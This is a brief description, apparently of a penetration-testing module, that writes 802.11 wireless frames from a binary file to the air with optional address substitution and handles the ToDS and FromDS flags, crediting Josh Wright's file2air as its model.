|
|
Inspired by Josh Wright's file2air, this module writes
|
|
wireless frames from a binary file to the air, allowing
|
|
you to substitute some addresses before it gets sent.
|
|
Unlike the original file2air (currently v1.1), this module
|
|
*does* take into account the ToDS and FromDS flags in the
|
|
frame when replacing any specified addresses.
